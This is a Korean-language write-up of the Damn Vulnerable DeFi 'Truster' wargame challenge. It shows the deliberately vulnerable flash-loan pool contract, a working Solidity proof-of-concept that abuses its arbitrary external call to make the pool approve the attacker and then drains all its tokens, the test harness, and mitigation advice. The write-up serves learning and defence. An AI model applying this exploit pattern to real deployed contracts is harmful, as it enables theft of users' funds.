Damn Vulnerable DeFi-Truster

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

유저에게 받은 주소로 임의 함수 콜 실행이 가능하도록 구현되었다. 이를 악용하여 토큰 컨트랙트에게 approve 시킨 후 토큰을 탈취할 수 있다.

Keyword

theft, arbitrary contractcall

Vulnerability

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. The pool holds 1 million DVT tokens. You have nothing. To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

Fee 없이 Flash loan 기능을 제공하는 컨트랙트가 있다. 공격자는 DVT 토큰이 없다. 이 상태에서 풀에서 모든 토큰을 꺼내야 한다. 타겟으로 TrusterLenderPool 컨트랙트 코드를 준다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.0;
 
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
 
/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;
 
    DamnValuableToken public immutable token;
 
    error RepayFailed();
 
    constructor(DamnValuableToken _token) {
        token = _token;
    }
 
    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));
 
        token.transfer(borrower, amount);
        // @audit-issue 임의 코드 실행 가능한 부분. 
        // @audit target이 address(this) 라면? -> 재진입 방지로 막힌다.
        // @audit target이 token이라면? => approve 시켜두면 balance 체크 넘어갈 수 있음
        target.functionCall(data);
 
        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();
 
        return true;
    }
}

flashLoan 함수에서는 수수료 없이 ERC20 토큰을 빌려준다. 토큰은 borrower 에게 빌려주고, 콜백은 target 주소의 컨트랙트를 실행한다. 마지막으로 컨트랙트의 balance를 확인하여 대금을 잘 갚았는지 확인한다.

이 때, 콜백에 주목하자. target.functionCall(data); 로 함수 콜 데이터를 날것으로 받아 실행한다. 즉, target 컨트랙트의 어떠한 함수든 호출이 가능하다. 어떤 컨트랙트의 어떤 함수를 호출하면 ERC20 토큰을 빼낼 수 있을까? 하지만 balance는 그대로여야 한다. 바로 approve 를 해두는 것이다.

다음은 PoC 컨트랙트와 테스트 코드이다.

import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";
 
contract TrusterPoC {
    constructor(TrusterLenderPool _pool, DamnValuableToken _token){
        uint256 _amount = 1000000 ether;
        bytes memory _data = abi.encodeWithSignature("approve(address,uint256)", address(this), _amount);
        require(_pool.flashLoan(
            _amount,
            address(_pool), // pool 자신에게 보내어 balance 변화 없게 함
            address(_token),
            _data
        ), "Flash loan call failed");
 
        _token.transferFrom(address(_pool), msg.sender, _amount);
    }
}

borrower 는 pool 자신으로 하여 pool의 balance의 변화가 없도록 한다.

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const TrusterPoCFactory = await ethers.getContractFactory('TrusterPoC', player);
    await TrusterPoCFactory.deploy(pool.address, token.address);
});

Impact

Pool 컨트랙트에게 임의의 컨트랙트콜을 시킬 수 있다. Pool 컨트랙트 소유의 토큰을 탈취한다.

Mitigation

유저가 자유롭게 주소와 함수를 선택해 실행할 수 있도록 하는 것은 매우 위험하므로 제한된 컨트랙트만을 허용하거나, 특정 함수만 호출하도록 강제한다. (ERC-3156을 준수한다.)


tags: writeup, blockchain, solidity, smart contract, erc20, erc3156, arbitrary contract call, flashloan, crypto theft, defi